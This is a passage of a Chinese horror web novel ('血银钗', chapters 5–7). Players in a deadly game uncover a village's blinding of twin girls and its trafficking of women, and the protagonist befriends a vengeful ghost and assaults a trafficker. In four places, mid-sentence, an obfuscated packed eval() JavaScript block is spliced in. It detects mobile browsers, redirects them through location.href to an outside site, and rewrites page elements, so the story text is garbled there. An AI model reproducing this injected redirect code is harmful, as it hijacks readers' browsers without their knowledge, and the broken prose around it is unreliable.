[为什么是这样的?他们把妹妹带走了。我听到她的哭喊,他们居然把银钗插进她的一只眼睛,这是真实的吗?] 翻开第四页。 [妈妈说她也很舍不得,可是这也是为了妹妹好,她变成了新“神”。但是为什么,你在笑呢?妈妈……] 这两页的字迹有了明显变化,仿佛是从幼稚的孩童长成了少女,页面却不如之前整洁,凌乱地散落着几道血迹。 宋须满冷不丁开口:“你发现了吗?” 林归云茫然地看着她,一时不知道她问的是哪个。 “池塘边的芦苇,没有被折断对吧?” “好像是。”林归云回忆了一下。 “可是你记得昨天,刘意观在挣扎的时候,撞倒了一片芦苇吗?” 一股寒意顺着林归云的脊椎骨而上,他死死盯着那本日记,打了个寒战:“你的意思是,今天的世界和昨天的不一样对吗?” 宋须满握着那本小小的日记:“这只是我的一个猜测,今天是第三天,第三天有可能是和第一天连起来的,而不是第二天。或许我们可以称它为‘姐姐活下来的世界’。” 刘意观的死亡给所有人都带来了不小的精神压力。 毕竟谁也不知道,在这村子里还有着什么样的危险。 所有人都一言不发,气氛有些凝滞。 宋须满直接将她那本日记和她的推测都说了。 “这也太荒谬了!这破游戏是要整死我们?”陶明气得直接站了起来。 王一说:“没想到情况会这么复杂,其实在进入副本之前,有人告诉我这个副本不太正常。” 陶明一把揪起他的领子:“你不早说啊四眼,你诚心要害死所有人是吧?” 宋须满拍了两下桌子:“早说也没什么用,现在最重要的还是那第二支银钗。” “我们现在暂且认为有两个世界,那么自然有两支银钗。首先我们要搞清楚,我们手上的,究竟是姐姐的银钗还是妹妹的银钗。” 此时“啪嗒”一声,原来是云琼月的笔掉到了地上,她思考时喜欢转笔,笔滚落到地上不知哪去了。 大家下意识低头为她寻找。 顾语涵举起一支笔:“是这个吗?” 几乎是同时,云琼月从一个狭小的缝隙中艰难地拿出笔,看到顾语涵手中的笔,她惊讶道:“没想到我昨天掉的笔都被你找到了。” 说完,她意识到了什么。 同时,宋须满和林归云也意识到了什么。 她抬起头:“看来我们这座宅子的时间是正常的。” 顾语涵清澈的眼神里带着疑惑。 宋须满解释道:“要是我们这的时间也和村子里一样,那么和今天连着的就不是昨天,而是前天。但是我们在今天找到了云琼月在昨天不见了的笔,说明至少宅子里的时间是连着的。” “现实的世界只有一个,我们这既然是正常的,那我们手中的银钗就是正常世界中的银钗。” “姐姐活下来的世界”和“妹妹活下来的世界”毫无疑问,只有一个是真实的,宋须满又想起了那片浓雾,所以,浓雾是他们进入虚假的媒介吗? 至少当前的目标清晰了,大家也不用像无头苍蝇一样乱转。 宋须满想到了那个老婆婆,自从她第一天诡异地念叨着快了快了之外。 接下来的她就好像一个哑巴NPC,只负责端上饭菜,也不与任何玩家有眼神交流,没有人注意她到底住在哪里。 此时,那个老婆婆进来了,她僵硬地弯腰,将一盘盘菜从小推车上端了上来。 等到端完最后一盘菜,她慢悠悠推着小车出去了,宋须满没有动筷,在众人疑惑的目光下,她悄悄起身跟了上去。 林归云想拉她,可是宋须满溜的太快了,等他追出去时,早已看不见她的身影。 就连老婆婆推车时车轮的轱辘声都消失得一干二净,仿佛从未出现过。 宋须满眼看着老婆婆拐了好几个弯,又在墙壁上不断摸索。终于,她摸到了一个砖块,按了下去。 从墙面的中间出现了一道门,她推开门,进去了。 等待门完全关闭,宋须满才走上前,她摸索了一阵,确认了砖块的位置,确实按得下去。 严丝合缝的墙面上出现了那道门,宋须满想犹豫的,可她莫名想起了一句至理名言——犹豫就会败北! 于是她迈着坚定的步伐走进去了。 眼前是一条长长的窄道,就算有两边的盏盏烛火,也只能提供一些微弱的视野。 很轻微的一声从她身后传来,门关了。 隔绝了外界的所有灯光,烛火显得更加明亮。小道内一时没有任何声音,宋须满甚至能听见自己的心跳声和呼吸声。 她尽量靠着右边的墙壁向前走,果然,在过了一个弯道之后,前面还是无尽的小道。 宋须满不再抬头看,而是专心低着头看自己的足尖,继续沿着墙壁走。 在不知多久以后,她只感觉眼前一亮,忍不住闭上了眼,再次睁眼,她正站在一间屋子的门口。 宋须满回头看,小道早已消失不见,眼前只有一个空旷的院子。 屋子里正坐着那个老婆婆,她正拿着勾针,桌上整整齐齐摆着几团颜色各异的毛线团,她的手灵活地上下翻动,手上已经有一片已经织好的毛线。 宋须满小心地向前试探了几步,她都没有反应。 直到宋须满都快要和她贴脸了,老婆婆才终于抬起了头,不同于平时的面无表情,老婆婆的脸上带着和蔼的笑。 她仿佛早已料到宋须满会出现在这,伸手指了指桌子另一边的椅子,示意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564222|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋须满坐下。 宋须满坐下了,她感觉老婆婆并没有恶意。 她问:“您给孙女织东西吗?” 老婆婆摇了摇头,叹息了一声:“两个可怜的孩子……” 说完,她就低下头织着东西,没有再说话。 宋须满默默走了出去,那个阴暗的小道真的消失了,外面就是一个小院子,中间一条青石板路通向院子外面。可是此时并不能看到院子外有什么,因为那就是一片迷雾,仿佛将院子与外界完全隔绝开来。 青石板路左边是一片菜园,里面已经结了几个小南瓜和小黄瓜。右边是一片花园,说不上名和说得上名的花朵争相开放。 花园里小水潭中覆盖着荷花与荷叶,宋须满蹲下来看了看,荷叶下居然还有小鱼。 她深吸了一口气,看了眼水潭边开得正盛的梅花,真是美好的不像现实呢。 说实话,这间屋子不算大,于是宋须满很快就把屋子翻了个遍,当然,是有计划地翻,有素质地翻。 在疑似卧室的房间内,桌上最显眼的地方,摆着一张照片,用相框包裹着,一尘不染,显然是主人很珍视的东西。 宋须满轻轻拿起,照片上这三人,可真都是熟人啊。 这张照片就是在这间房子外的青石板路上拍的,比现在年轻一点的老婆婆坐在中间的椅子上,脸都笑成了一朵花,她伸出两边的手,一手搂着一个小女孩,而这两个小女孩,显然就是那对双胞胎姐妹。 看着照片上十分幸福的三人,宋须满只觉得心里酸酸的,她轻轻把相框放回原来的地方,又在屋子里的边边角角陆陆续续找到了小孩的玩具。 她拿着一个木头削成的简陋版陀螺,在地上一转,木陀螺旋转着,没有停息。 果然是这样,永不停息的陀螺,这里果然是梦境。 她走出卧室,老婆婆手中的织物已经到了收尾的阶段,她挥了挥手,叫宋须满过去。 一朵毛线织成的黄色的小花被放在了宋须满的掌心。 老婆婆露出了与照片上如出一辙的幸福笑容:“请帮我把这个带给她,这孩子总和我念叨帽子上的花掉了……” 宋须满点点头,朝着门外走,在跨过门槛的一瞬间。 “救救她吧,为了她妹妹,那孩子做了很多错事,再这样下去,她会被这些因果给压垮的。” 眼前的世界碎裂成一块块碎片,正在慢慢消散,宋须满拼尽全力转头看了老婆婆最后一眼。 她面上依旧是幸福的笑容,眼眶却早已被泪水浸透。 一阵摇晃,宋须满扶住了身边的墙壁,她的面前是那一道有暗门的墙壁,但不论她再怎么摸索,也找不到那块松动的转头。 林归云气喘吁吁地跑上来:“你怎么到这来了,怎么了吗?” 宋须满将手伸进口袋,在感受到那毛线织成的小花的柔软触感时,低下了头:“没事,我不饿,就随便逛逛。” “咕——”宋须满的肚子不合时宜地发出了抗议。 宋须满尴尬解释:“我的肚子好像有自己的想法。” 林归云牵起了她的手:“我就知道,我们给你留着饭呢!” 5. 血银钗(五) 宋须满这边吃着饭,那边玩家们也没有散开,而是这么盯着她吃饭,搞得宋须满心里毛毛的。 在陶明又一次假装不经意其实很刻意地看了她一眼后,宋须满忍不住了:“干什么?” 陶明嘻嘻哈哈:“没什么,就是这个……你有什么推测吗?” 宋须满知道他们问的是什么,这点也没必要瞒着。 于是她说:“姐姐活着的世界是真实的,我们手上的是姐姐的银钗。别问!问就是我有强大的推理能力。” 在几个好奇宝宝开口询问“为什么”之前,宋须满快速地打断了他们。 但在回去的路上,林归云还是悄咪咪询问她:“为什么呢?” 宋须满有点无奈:“因为姐姐托梦给我了,你要是想证实的话,我叫她今晚托梦给你啊。” 林归云的表情凝固了:“不用了不用了,我相信你!” 一阵困意袭来,宋须满强撑着:“看吧,女鬼姐姐要来了。” 林归云也不言语,贴心地帮她关上了门,宋须满迷迷糊糊就趴到床上去了。 即使对今晚的梦有个准备,但亲眼看见到底是和文字描述不一样的。 宋须满感觉到自己的脸和地面有个狠狠的亲密接触,哭喊声从她的身体里面传出:“妈妈!妈妈你救救妹妹啊!” 她正被人按着,强迫她看着祠堂前同样被人死死按着的妹妹。 少女哭喊着,被人按在地上,有人用粗糙的手指强硬地扒开了少女的眼眶。闪着冷光的银钗被人毫不犹豫地插了进去。 伴随着少女撕心裂肺的惨叫,宋须满感觉到一阵窒息,她奋力扭过头,对着那站在人群外一脸冷漠的女人:“你为什么这么对我们!” 女人拨开人群,在她面前蹲下,她冷冷地笑:“傻孩子,你妹妹是去做‘神’了,我们不应该为她感到高兴吗?” 人群散去,鲜血流了一地,女人还没走,她走到捂着一只眼睛,只会小声地叫着妈妈的少女跟前,踢了她一脚:“这是你们的报应。”她脸上的表情像是开心又像是伤心,眼眶里落下一滴泪来。 …… 宋须满从梦中醒来,她大口喘着气,梦中少女哭喊之后喘不过气来的感受依然残留在她的体内。 那些人狰狞的笑,被银钗插入后鲜血的飞溅,与她面容一模一样的少女在地上扭曲着喊妈妈…… 宋须满捏着口袋里的那朵小花,一时间想的居然是把花给扔了。 那些畜牲不应该承受报复吗? 宋须满深吸一口气,捏紧了小花,强压下心中几乎要凝成实质的怨恨,看来她还是有些被影响了。 她站在林归云的门外,轻轻一推,门居然就这么开了,林归云还没醒,他紧皱着眉头。 宋须满在旁边坐了一会,伸手拍醒了他。 “呼——”林归云喘着气从梦中醒来,“没想到亲眼看见是这么残忍。” “我甚至都挣脱按着我的人了,却没想到身边还有那么多的人。”林归云沮丧着。 “等等,你是说你挣脱了按着你的人?这不是沉浸式体验吗?”宋须满惊讶地瞪大了双眼。 林归云惊讶地看着她:“是沉浸式啊,不过我们也是能自己动的啊。” 宋须满陷入了沉思,由于梦中的躯体会自己动,她完全没有想过依靠自己的意志去操控躯体。 这是副本进行的第四天,不出意外的话就要出意外了。 一道凄厉的尖叫声传来,宋须满和林归云对视一眼,向着尖叫声传来的方向冲去。 尖叫声是从第一层传来的,是一号房,陶明的房间。发出尖叫声的顾语涵此时正惊恐地看着房间内。 宋须满顺着她的视线看过去,陶明正趴在梳妆镜前,梳妆镜已经破碎,他左手死死握着其中一块碎裂的镜片。 血液蜿蜒,从他的左侧脖颈一直蔓延到地上,形成一个小血泊。 宋须满走近了点,发现陶明的脸上,同样挂着微笑。 那不是诡异的笑,反而是平静的,要是忽略这惨烈的现场,这个笑容堪称是幸福的。 无数块破碎的镜片反射出无数个死去的人。 顾语涵还瘫在地上,云琼月把她拉起来。 宋须满看着这满室血腥:“为什么陶明也自杀了?” 云琼月有些机械地回答:“昨天我们大家都在一起,在你们走后,他非要去那个庙里看一眼。” 又是大眼珠子,这是打算一天杀死一个吗? 宋须满快步往祠堂走,林归云几乎要跟不上她。 祠堂门口,宋须满郑重地举办了大饼交接仪式,将大饼托付给林归云:“要是我待会往池塘边冲,你就拿这个砸晕我。” 林归云接过大饼,有一种强烈的想要敬礼的冲动:“好的长官!” 宋须满走了进去,和第一次见大眼珠子一模一样的场景,仿佛空气中飘扬的尘灰都一颗不差。 神像没有任何动静,宋须满大声喊:“别逃避了,是你吧,李大丫。这个时空死去的,是你吧?” 神像没有任何动静。 宋须满继续喊:“把自己搞成半死不活的样子,杀了无辜的人就怂了,你也不过如此。” 好了,激将法也没有用。 宋须满将黄色毛线小花捧在手上:“你认得这个吗?” 她捧着小花,耐心地等待。 好几分钟过去了,宋须满感觉手臂一阵酸痛,可她没有放下手,她直直盯着神像上灰蒙蒙的眼睛。 终于,它活了过来,刺耳的女声从四面八方传来:“你怎么有这个的?” 宋须满满意地握住了黄色小花:“你奶奶叫我和你说不要再杀人了。” 女声开始尖叫,简直要震碎人的脑壳,下一秒,宋须满紧紧攥着的毛线小花消失不见。 她迅速看向大眼珠子,大眼珠子弯了弯,似乎很愉悦,黄色的小花飘到眼珠子前,化为粉末消散。 少女恶狠狠的声音钻入宋须满的脑袋:“你想要救那些人是吗?那是他们该死!今天就轮到你吧!” 大眼珠子流下一滴血泪,又变成灰蒙蒙的雕刻了。 宋须满跪坐在地上,片刻后,她的眼睛蒙上了一层灰雾。 等她摇摇晃晃扶住门框,林归云这才发现她已经走出来了,他紧张地举起大饼,以防宋须满做出什么不理智的行为。 宋须满向他伸手:“拿来。” 林归云一脸紧张地看着她:“你现在有自己的意识吗?” 宋须满无语地看了他一眼:“我有没有事,你个心理学博士看不出来吗?” 林归云这才放下心,将大饼交还给了她:“你进去后发生了什么?我在外面完全听不到一点动静。” 宋须满若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564223|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有所思地看了一眼破旧的祠堂大门,然后狠狠地将大饼撕了一个小口子,然后拎着大饼的底部,上下摇晃了几下。 一朵黄色的毛线小花艰难地从那个小口子探出一点点边缘。 宋须满轻轻一拉,一朵完整的小花出现了。 林归云古怪地看着她:“你确定你还有自己的意识?” 宋须满的神情非常正常,但是她的行为非常不正常,正常人会把毛线塞进钢铁大饼里面吗? 宋须满突然开始桀桀怪笑,她的肩膀抖动,低着头让人看不清脸。 林归云吓地向后退了一大步,他慌忙挥着手:“你怎么了?你不要过来啊!” 宋须满一步步低着头走到他面前,然后面无表情地抬起头,幽幽地说:“骗你的。” 林归云简直要吓疯了,在这种地方,要是宋须满还出了什么问题,那简直是难逃一死啊。 宋须满在祠堂里当然没有拿出真正的毛线小花,她拿出的,只是一个用大饼画出来的冒牌货罢了。 但现在…… 她拿着老婆婆亲手递给她的小东西,心里却是无比的放松。 林归云问道:“去看日记吗?” 宋须满却摇了摇头,她看着池塘另一边的村长屋:“我们先去那。” 村长果然和王一他们所说的一样,十分热情。 他倒上热茶,和蔼可亲:“来我们这可还习惯。可惜这天气……不过你们刚好也可以在村里玩两天。” 宋须满凝视着村长的面容,他的脸隐在袅袅的雾气中,看不真切。 宋须满轻轻抿了一口茶,入口顺滑,唇齿留香,略有回甘。 她放下杯子,赞了一句:“好茶!” “这茶好吧,这可是你们校长亲自给我送来的……” 宋须满的眼睛亮了:“没想到村长这么有实力!” 村长骄傲地挺起了啤酒肚:“那是,我们村和你们学校已经合作了几十年。” 宋须满做出疑惑的表情:“是吗?我怎么没有听说,林同学,你知道吗?” 林归云喝着茶:“村长你是不是在吹牛啊,就你们这个小破村子……我可听说去年才开始和你们村合作的。” 村长见他们不信,好半天找了一张照片出来,那是一张已经泛黄的旧照片。 村长指着底下的一行字:“看吧,这可是三十年前第一批学生来我们这采风的照片。” 果然,最底下标着的确实是三十年前的时间。 宋须满装作感兴趣的样子拿过照片,这是一张集体照,照片上的学生们意气风发。 一张张面孔扫过去,她的视线在其中一张上面停顿了一下。 林归云惊讶道:“居然是真的,让我们膜拜膜拜您。” 宋须满也看完了照片,她将照片还了回去,像是突然想到了什么:“村里有姓李的人家吗?” 村长的笑容渐渐消失:“你问这个做什么?” 宋须满状似苦恼:“我上次脚滑差点摔河里去,幸好一个姓李的大叔把我救起来,作为一个大学生,这不是想报答报答人家吗?” 村长的脸色有所缓和,他上下打量了一下宋须满,有些猥琐:“有是有,他是三十年前搬来村子的外姓人,有一个儿子,老婆也快死了。” 宋须满强忍恶心,假装羞涩地低下头:“李大叔家在哪呢?” 6. 血银钗(六) 在得到想要的信息后,宋须满拉着林归云迅速逃离了现场。 林归云同情地拍了拍她的背:“委屈你了。” 宋须满咬牙切齿:“不委屈。” 等她套完线索,定要讨回来! 村里的房子说多不多,说少那肯定也是不少的,再加上李家的房子在一个偏僻的地方,要不是村长告诉他们进入那的小道,一般人可找不到。 宋须满敲了敲门,里面传来了男人骂骂咧咧的声音:“哪个混球来找老子?” 一开门,屋里传来一阵恶臭,宋须满首当其冲,脸都快绿了,但她还是很努力地保持着微笑:“李大哥!” 她觉得她不应该在这里画大饼,而应该去当一个演员,毕竟在这种气味的攻击下,她居然还能面不改色,怎么不算一个好演员。 眼前的男人身上,最突出的就是那啤酒肚了,他耷拉着拖鞋,体毛旺盛,一口黄牙,还叼着烟。 男人看着宋须满漂亮青春的脸蛋,眼睛一亮,向宋须满吐出一口烟:“有什么事吗?” 宋须满双手紧紧捏着:“你不记得我了吗李大哥,上次我差点摔河里,是你救了我啊!” 男人的小眼睛转了转,笑起来露出黄色大牙:“进来吧。” 在林归云即将进来时,男人拦住了他:“你小子给老子滚。” 林归云灵机一动,指着宋须满:“我是她亲哥。” 男人的视线在两人脸上不断转换,好半天才放下了挡着林归云的手。 屋内更是臭气熏天,一堆臭袜子就堆在疑似是饭桌的桌子旁边,男人将堆在椅子上不知是什么的东西扫到地上:“将就坐吧,反正你之后也要适应。” 宋须满坐下,满脸感激:“真是谢谢你!” 男人将一只脚翘上来,扣着脚,眼神流连在宋须满的身上:“既然我已经碰了你,那彩礼就不用了。你是大学生是吧,看你这屁股也不大。唉,算了,我吃点亏,叫你家里人帮我安排个清闲的工作。你现在就帮我收拾下屋子吧。” “我现在还有老婆,所以你还没有名分。不过你放心,那婆娘快死了。到时候你就帮我照顾儿子,一个月给你150,最好再生个十个八个的。”男人骄傲地加重了150这个数字。 “看你这娇生惯养的样子,一看就很会花钱,以后钱全部上交,生一个儿子奖励100。” 和宋须满坐在一起的林归云脸色涨红,正要开口,被宋须满拦住了。 她装作很害怕的样子:“你的老婆是谁,我能去看看她吗?我怕和她相处不来。” 男人大度地递给她一把钥匙,指了指角落上锁的房间:“就在那。” 拿到钥匙,林归云诧异道:“他都不怀疑的吗?” 离开男人的视线,宋须满终于翻了一个大大的白眼:“他宁愿相信自己是块香饽饽,大学生都抢着嫁给他。都不会相信有人骗他。 打开屋子,一个瘦骨嶙峋的女人被铁链锁在墙角。 宋须满叹了口气:“许珍珍。” 30年前,作为第一届来墫楠村采风的大学生之一的,许珍珍。 女人躺在杂乱的稻草上喘息,看起来很痛苦。 像是对这个名字有些反应,她无神的眼眸落入了一点光:“……你们怎么知道的?” 照片上活泼可爱的少女不再,眼前的是死气沉沉,面颊凹陷的女人。 她的头发如枯草,强撑着看向二人。 良久,女人冷哼一声:“怎么?来向学姐讨教如何认命的经验吗?” 宋须满摇了摇头:“应该是你怎样把自己的孩子推出去送死的经验吧。” 眼前的女人有些接近他们在梦中看见的女人,但比梦中还要憔悴许多。 铁链疯狂摇晃,女人像疯了一样:“我的孩子?那是畜牲的孩子!” “凭什么?凭什么畜牲的孩子能活着……恶心的血脉不应该传承!我不好过,谁也别想好过!”女人哈哈大笑,却落下泪来。 林归云悄悄握紧了宋须满的手:“她有点不对劲,我们小心点,别靠太近。” 话音未落,宋须满就向前走了几步。 林归云:…… 他说的话好像被像空气一样无视了呢。 宋须满蹲下了,她平视着眼前的女人。 许珍珍不笑了,她盯着宋须满,恶意满满:“你也很快就要步入我的后尘了,你知道这个村子有多可怕吗?在他们的眼里,你就不是一个人,而是猪狗都不如的生育工具!你会被绑起来生孩子……直到再也没有生育能力,你就会被抛弃。” 她的双眼瞪到极大,脸上出现了兴奋的神色:“难道你不觉得,我是在帮她吗?成为神有什么不好……” 宋须满的脸上没有表情,她拉住了许珍珍几乎只剩下骨头的手承诺道:“你会走出去的。” “走出去……我拿什么走出去,我已经被困了三十年,我的人生已经被毁了!”许珍珍歇斯底里地甩开了宋须满的手,“我再也走不出去了!” 宋须满沉默地走到林归云身边:“不要再打扰她了。” 林归云表示不解:“你对她的态度还挺好的,我还以为你会一大饼砸下去。” “你觉得她是坏人吗?”宋须满问。 林归云有点纠结的样子:“我们经历过的梦境不是很清楚吗?她就是把自己女儿推出去送死的人。” “你只看到了许珍珍,你只看到了死去的李大丫和李二丫。你看见了她们背后的人吗?” “什么?”林归云有些迷茫。 “真正的罪魁祸首从来都不是她们,而是得到所有利益的,这个村子的男人。你真的是心理学博士吗?如果你只能看到表层的一面,那你的专业素养也太差了。”宋须满看着他,直勾勾的眼神仿佛要窥探到他的内心。 林归云惊了一下,心虚道:“这不是正在攻读嘛,学艺不精很正常。” 宋须满平淡地移开了眼睛:“是吗?” 然后她掏出了大饼,向着门外走去:“走吧。” “你拿大饼做什么?”林归云跟上,他总觉得此刻平静着的宋须满有点不对劲。 宋须满面无表情,指甲却已陷进了大饼之中。 “当然是……喂人吃大饼了。” 男人眼睛一撇,见他们出来了,正抠着脚的手指了指桌上的杯子:“给老子倒杯水。” 宋须满将大饼藏在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13564224|142861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后,笑着问:“饿了吗?” 男人往旁边的地上吐了一口痰,愤怒地看着她:“允许你给老子做饭,不过老子都说了,先给老子倒杯水!” 宋须满走近,温柔道:“我看你挺饿的,我来喂你吃点东西吧。” 然后,将藏在背后的大饼拿出:“你看这块大饼,是不是又大又圆。” 然后,她以迅雷不及掩耳之势,至少林归云是没看清楚的,将大饼塞进了男人的嘴里。 男人惊愕地瞪大了双眼,宋须满低低地笑,她转过头问林归云:“你看他这样子,像不像一条濒死的鱼。” 林归云点了点头,没敢说话。 “当惯了宰鱼人,这当鱼的感觉如何?”她将大饼用力往后塞了塞。 可惜,这比她脸还大的饼,终究是塞不进男人的嘴里。 怎么会塞不进去呢? 她几乎是压在饼上,大饼又进去了一点。 直到男人的嘴边溢出鲜血,沿着凹凸不平的大饼向下蔓延,宋须满这才一拍脑袋。 “对不起啊李大哥,我刚刚鬼上身了。” 随后,她将沾了血的大饼抽了出来,带落几颗混杂着红色与黄色的白色块状物。 “哎呀,你没事吧?这牙齿怎么掉了呢?”宋须满笑眯眯地看着满嘴鲜血说不出话的男人,脸上没有一点关心。 她望了望窗外,拉着林归云的手:“天色不早,我们先走了。再见,李大哥。” 也不管扭曲挣扎的男人,她拉着林归云走得飞快。 但她没有注意到的是,林归云一边嘴角微微勾起,在他们的身后,男人七窍出血,没了生息。 林归云察觉到她的不对劲了,从和许珍珍对话时就开始了。 宋须满的眼神变得有些不一样,比往日更加平静和幽深,却让人怀疑那平静的水面下是否存在着可怕的风暴。 他不是很敢说话,但是她越走越快,于是他不得不说:“你还好吗?” 天色渐晚,余下的一丝余晖为宋须满描绘了一圈不太明显的轮廓。 宋须满停了下来,她的发丝在风中飞舞,而后静止:“不好。” 她又没声了,搞得林归云脑中的思绪一团乱。 她是生气了吗? “你觉得姓李那个是坏人吗?”她冷不丁发问。 林归云只好匆匆收拾好脑中混乱的思绪:“他拐卖少女,是坏人。” 宋须满叹了口气,林归云紧张地看着她,难道他又说错了? 宋须满说:“他是坏人,那被坏人伤害后变坏的人也是坏人吗?” “应该算吧……不管有何理由,做了坏事的人就是做了坏事,这是不可改变的。”林归云给出了绝对客观的解释。 宋须满转过头去,发丝在空中飞舞,又停下:“也许吧,但是作为一个人,作为一个女性。远远要拥有不止于客观的东西,同理心、共情力……这不止是上天赐予某个特定的人的东西,而应该是全人类。” 林归云看不到她的表情,但他此刻确实被震撼了。 原来人类不止有客观叙事的能力,也有主观选择的能力。 你选择相信什么,你选择拿起什么。 7. 血银钗(七) 宋须满选择拿起大饼威胁林归云:“快挖!地里肯定又长出新的内容了。” 林归云仍处于一个震惊的状态,但是这么多天有规律的挖土已经培养了他,他下意识蹲下身挖起土来。 宋须满站在一旁满意地拍了拍大饼:“多亏我这几天锻炼你,你看看你,现在挖土都快多了。” 林归云像个人机一样,将挖出来的铁盒交给宋须满。 她打开看了看,里面是不用看就知道的内容,这次被挖眼睛的,变成了姐姐。 看完日记,宋须满说:“有没有可能,我们可以帮助她们呢?” “你是说,你想和鬼合作吗?”林归云指着那本日记,颤抖地问道。 宋须满微微眯起眼睛:“怎么不行呢?你不觉得这个村子的人都该死吗?说不定帮了她们之后,我们就能通关游戏了。” 林归云思索了片刻,他们需要拿到女鬼的东西,正常情况下,玩家肯定想着与女鬼对立,从而得到东西。 宋须满的方案不是不可行,消除她们的怨念,从而得到东西。 “可这太难了,你想和鬼讲逻辑,鬼可是最没逻辑的。” 因为说着说着她们就可能暴怒,并且具有非常大的杀伤力。 “交给我吧,别忘了,我可是个会画大饼的优秀女性。”宋须满一笑,仿佛胜券在握。 夜晚,宋须满早已摩拳擦掌,做好了准备。 一入梦,她就飞起踢了一脚,直攻按着她那人的下三路。 那人惨叫一声,松开了对她的钳制。 不远处的少女正被人狼狈地按在地上,强行扒开了眼皮,闪着寒光的银钗尖端被人拿在手里比划着。 她对着那少女大喊,尽了所有的力气:“别再折磨自己了!大丫!” 被按在地上哭叫的少女闻言,表情一变。避开了扎向她眼球的银钗,转过头看着宋须满,勾唇一笑:“被你发现了啊……” 先前还狼狈着的少女缓缓起身,周围的一切在这一刻都静止了。 在肮脏的祠堂里,那些人丑恶的嘴脸被定格,一切都被定格,除了她们。 宋须满点点头:“你可能不太相信,我们其实想和你们合作。” 少女像是听到了什么好笑的事情:“合作?你觉得我会相信吗?你们不如好好享受这最后几天吧,反正最终也会和村子一起被埋葬……” “我理解你的苦衷,我说的是真的。”宋须满说。 少女嗤笑一声:“你想和我谈理解,可惜啊……从没有人可以理解我们。” “来支教的老师帮不了我们,来献爱心的人帮不了我们。从来没有人能感同身受!”说到最后一句,少女的嗓音突然尖锐,就像那根能刺破人眼球的银钗。 “我同意你说的。”宋须满真的被说服了,她缓慢靠近着少女,“世界上没有人能够真正的感同身受,但是……” “咣——” 力度刚刚好,宋须满一大饼砸在少女头上。 少女扭曲的面容凝固了,而后呈现出一丝疑惑。 显然,她并没有反应过来到底发生了什么。 宋须满趁着这时急忙开口:“但是这太痛苦了不是吗?构筑这个世界,承受着一遍又一遍的死亡……你会累的啊。” 少女愣了很久,很久,久到宋须满甚至怀疑自己是不是力度没控制好,把她给砸傻了。 她终于开了口,少女的脸上是令人心疼的破碎感,甚至带着点小心翼翼:“我们可以相信你们吗?” 宋须满拉起少女的手,粗糙不平的,如柳树的枝干一样伤痕累累的,比她的手小一圈的,十六岁少女的手。 “当然可以。”她笑道。 少女笑了一下,突然甩开了宋须满的手:“你就像他们一样,伪善得令人作呕,这句话我们听过很多遍,你可骗不了我。” 宋须满将大饼往地上砸了一下,少女大笑,眼中却不乏失望:“我就说,你现在肯定气急败坏,要对我动手了?” 但她没看见迎面袭来的大饼,她看见的是宋须满在破碎的大饼底下扣了扣,然后递过来的手。 她的手心向上,五指微拢,绽出一个灿烂的笑容:“你要和我玩个游戏吗?猜猜我的手心里是什么。” 她应该直接动手杀了宋须满的,像之前那样杀了欺骗她的人。 明明只是为了有个好名声而已,明明就是以自我感动般高高在上的救世主姿态出现,当他们拿到所想要的,谁还来管黑暗中瑟瑟发抖的她们呢? 支教老师冷漠而不耐的眼神:“老师终于可以调回县城了,你们好好保重吧。” 热情的志愿者不经意间嫌弃的眼神:“片子都拍完了?我们快走吧,这山沟沟里真是太难待了……” 可是为什么,为什么她有点犹豫,是宋须满的眼神,和他们都不一样吗? 就在少女犹豫要不要出手的瞬间。 宋须满自顾自张开五指,惊讶道:“哇!居然是一朵黄色的毛线小花诶,你真聪明,这都能猜对。” 哇!居然是正面诶,姐姐你真厉害!这都能猜对…… 仿佛上一个世纪传来的模糊的声音,与她面容相似的小女孩张开脏兮兮的手,向她展示着手心中同样脏兮兮的硬币。 哇!乖乖真聪明,婆婆要给你准备的就是过冬的毛线帽。 年迈的婆婆笑着用温暖的手,将温暖的帽子,戴在了两人头上…… 少女颤抖着去触碰那朵黄色小花:“这不是已经被我毁了吗?” 宋须满笑道:“我必须得更正一下我之前的说法,你的婆婆不是不希望你再杀人了,她只是不希望你再痛苦了。” 少女攥紧了小花:“我同意了,和你们合作,我可以把我的银钗复原。” “然后呢?”宋须满期待地看着她。 “什么然后?”少女疑惑歪头,将银钗塞到宋须满立在地上的大饼里。 虽然宋须满很想问为什么要塞到大饼里而不是塞到她手里,但是她还是问了一个更紧急的问题:“什么什么然后?这个世界不是你创造的吗?你个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 